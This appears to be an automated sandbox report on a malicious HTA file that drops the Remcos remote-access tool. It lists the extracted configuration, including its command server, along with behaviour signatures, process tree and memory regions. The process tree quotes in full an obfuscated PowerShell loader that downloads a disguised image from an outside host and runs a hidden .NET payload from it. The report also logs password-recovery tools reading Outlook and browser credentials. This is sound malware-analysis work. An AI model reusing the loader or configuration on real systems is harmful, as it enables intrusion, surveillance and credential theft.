Analysis
- user interaction
yes - max time kernel
217s - max time network
211s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 12:55
General
- Target mfasgood.hta
- Size 807KB
- Sample260910-p5s37stepc
- SHA256 8e7af0d5af18f6d4eef967c54ce2063ecca6ec6203723d087d7768d89a5b5623
Malware Config
Extracted
-
ps1
-
exe.dropper
https://pic.li/images/MSI_PRO_Latest.jpeg
Extracted
-
remcos
-
6.0.0 Pro
-
EveryMaraNma$$$$
-
demnocusurpapanottodelivermebetterlogs.duckdns.org:14646
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
true
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-AT6RVM
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook accounts 1 TTPs 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops file in System32 directory 1 IoCs
- Suspicious use of SetThreadContext 7 IoCs
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 2 IoCs
- Suspicious behavior: MapViewOfSection 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mfasgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi=''https://pic.li/images/MSI_PRO_Latest.jpeg''; $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi = [System.Net.HttpWebRequest]::Create($cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi); $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.UserAgent = ''Mozilla/5.0''; $cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo = $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.GetResponse().GetResponseStream(); $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa = New-Object IO.StreamReader($cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo); $sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya = $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa.ReadtoEnd(); $daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu=''IN-''; $bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza=''-in1''; $quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu); $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.LastIndexOf($bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza); if($quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo -eq -1 -or $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro -eq -1){return}; $hokatidecakujonedisolehiqazuyijufimijabavuwevihowewefeqazimicohumanexiqebuyugabiqiquxevazusupuzetira=$quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length; $lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.Substring($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length, $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro-($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length)); $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi=$lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi.Replace(''*'',''A'').ToCharArray(); $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa = -join $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi[($yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi.Length - 1)..0]; $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito = [Type]::GetType(''System.Convert''); [byte[]]$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu = $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito.GetMethod(''FromBase64String'').Invoke($null, (, $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa)); $sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe=$sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi.Invoke([AppDomain]::CurrentDomain, (,$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu)); $betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe=(''NqhiJ6EfTp6E04lsyxlluzYvfYdGz1w4607ElHLVamPg1HYHMco6RzuW2/JCC7bhIVck8RlfwVWH1wyXmn0OJw=='','''',''t3ZET90eegYzbfa5LfVuh/MQeejD+0PB87H4jaOHeqlGr+mVxjJoJnDF1XWA+mUd'',''VIxmtcEFgPqiMLNFobxMBNTI0tUz9w1qllvKae1Vnf8='',''8LAYhhhdLYjveDcwRmQSatgvwOuKY4GKs0Na/e5QJcw='','''',''nXLr4/kfZUfEYRHCwsxX0pRlRi+dFQrIbmoX5Qd6OE0='','''',''U21UkwaBjg1XEVBLqiFZOGPwjQ4bnMZVAwmEjmb9UtA='',''Z4bTHjMc3bFSLZLVSxVw1ZNK2itKe3/UvhLWSd5UbMf04XIfXGRHkAUkYAEL8O03'',''8jabn2Z++8fWHT8qqjzplkUebY/u87ZbhJng/tYPkA8='',''ykHI61dGv5YYlXYzamtfbyrctZI4nhBL5tTBjsl+mAQ='',''ozRQYhEPsuRK3+kkFcGistUkBdNpAuP0PU7MVAKh//M='','''',''fW0OqXhDpIASUAy/ZUI3D83gmLBcBGcP9nFEgDegktA='',''dcNZqEPRdANDWGKSeAZIbZzZCgGzjHm6NlOlPm2BDUU='','''','''',''''); try{ $xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo=($zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime=($xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime.Invoke($null,[object[]]$betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\onpmsdkswigi"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5488 -s 5964⤵
- Program crash
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\yhufsvulkqynkkp"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jjzptofnyyqsnrdnpeq"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\jjzptofnyyqsnrdnpeq"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\nsazqfcsad"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\nsazqfcsad"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\qngsrxntvlfdlm"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\aplcsqfnjtxiwsofa"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5488 -ip 54881⤵
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /01⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
nsazqfcsad
memory/616-86-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-40-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-98-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-97-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-96-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-95-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-94-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-93-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-90-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-89-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-87-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-29-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-99-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-84-0x0000000010000000-0x0000000010019000-memory.dmp
memory/616-85-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-80-0x0000000010000000-0x0000000010019000-memory.dmp
memory/616-100-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-41-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-21-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-23-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-24-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-83-0x0000000010000000-0x0000000010019000-memory.dmp
memory/616-26-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-27-0x0000000000400000-0x0000000000480000-memory.dmp
memory/616-28-0x0000000000400000-0x0000000000480000-memory.dmp
memory/1632-48-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-52-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-53-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-51-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-49-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-42-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-44-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/1632-50-0x00000214AD2D0000-0x00000214AD2D1000-memory.dmp
memory/2180-38-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2180-37-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2180-35-0x0000000000400000-0x0000000000424000-memory.dmp
memory/2368-17-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-15-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-1-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-5-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-2-0x000002079BD20000-0x000002079BD42000-memory.dmp
memory/2368-6-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-7-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-25-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-20-0x000002079BD80000-0x000002079BD8A000-memory.dmp
memory/2368-19-0x000002079C2C0000-0x000002079C2D2000-memory.dmp
memory/2368-18-0x000002079C240000-0x000002079C2C4000-memory.dmp
memory/2368-0-0x00007FFDE2D4F000-0x00007FFDE2D50000-memory.dmp
memory/2368-16-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-8-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-14-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-13-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-12-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-11-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-10-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/2368-9-0x00007FFDE2BC0000-0x00007FFDE3564000-memory.dmp
memory/4888-31-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4888-34-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4888-36-0x0000000000400000-0x0000000000462000-memory.dmp
memory/5488-33-0x0000000000400000-0x0000000000478000-memory.dmp
memory/5488-30-0x0000000000400000-0x0000000000478000-memory.dmp
memory/5488-32-0x0000000000400000-0x0000000000478000-memory.dmp